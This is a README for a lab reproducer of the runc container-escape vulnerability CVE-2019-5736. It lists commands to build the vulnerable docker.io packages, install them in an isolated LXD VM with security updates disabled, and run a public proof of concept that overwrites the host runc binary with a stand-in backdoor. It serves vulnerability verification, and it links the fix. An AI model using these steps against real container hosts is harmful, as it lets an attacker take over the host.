# [CVE-2019-5736] reproducer
This allows you to confirm [RunC-CVE-2019-5736] works on your KVM instance.
[RunC-CVE-2019-5736]: https://github.com/twistlock/RunC-CVE-2019-5736
[CVE-2019-5736]: https://nvd.nist.gov/vuln/detail/CVE-2019-5736
## Workflow overview
* Build the `docker.io` related packages vulerable to [CVE-2019-5736] in this repo
* Launch an Ubuntu 18.04 KVM instance on LXD
* Install the vulnerable `*.deb` packages in the VM
* Try the procedure introduced at [RunC-CVE-2019-5736]
## Build vulnerable `*.deb` packages
```bash
$ docker-compose build --no-cache
$ docker-compose run build
```
## Prepare [RunC-CVE-2019-5736] source tarball
```bash
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736.git
$ tar cjf RunC-CVE-2019-5736.tar.bz2 RunC-CVE-2019-5736
```
## Launch an Ubuntu 18.04 KVM instance on LXD
```bash
$ lxc launch --vm images:ubuntu/18.04 test-cve-2019-5736 -c limits.cpu=4 -c limits.memory=4GB
$ lxc file push deb/*.deb RunC-CVE-2019-5736.tar.bz2 test-cve-2019-5736/root/
$ lxc exec test-cve-2019-5736 bash
root@test-cve-2019-5736:~# sed -i -e '/bionic-updates/s/^/#/' -e '/bionic-security/s/^/#/' /etc/apt/sources.list
root@test-cve-2019-5736:~# apt update
root@test-cve-2019-5736:~# apt install iptables libltdl7
root@test-cve-2019-5736:~# dpkg -i containerd_0.2.5-0ubuntu2_amd64.deb docker.io_17.12.1-0ubuntu6_amd64.deb runc_1.0.0~rc6+git20181203.96ec2177-0~ubuntu2_amd64.deb
```
Note that you should use `images:ubuntu/18.04` instead of `ubuntu:18.04` because the `lxc exec` command doesn't work properly with the latter one.
## Reproduce [RunC-CVE-2019-5736]
```bash
$ lxc exec test-cve-2019-5736 bash
root@test-cve-2019-5736:~# tar xf RunC-CVE-2019-5736.tar.bz2
root@test-cve-2019-5736:~# cd RunC-CVE-2019-5736
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker build -t cve-2019-5736:exec_POC ./exec_POC
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
92b965383f377419f3dad7cec45e468a4c4a83e82e11a2f2e0e23803016e2840
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker exec poc_ctr bash
No help topic for '/usr/bin/bash'
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# /usr/bin/docker-runc
**THE ALL NEW AND IMPROVED RUNC**
[+] Your backdoor here ->
root@test-cve-2019-5736:~/RunC-CVE-2019-5736#
```
## Appendix
* Fix commit: https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b
[4.0K] /data/pocs/150582f62306d0a72440f9ced873216d032eb475
├── [4.0K] deb
├── [ 180] docker-compose.yml
├── [4.0K] dockerfile
│ └── [ 632] Dockerfile
├── [ 18K] LICENSE
├── [2.4K] README.md
└── [4.0K] scripts
└── [ 373] build.bash
3 directories, 5 files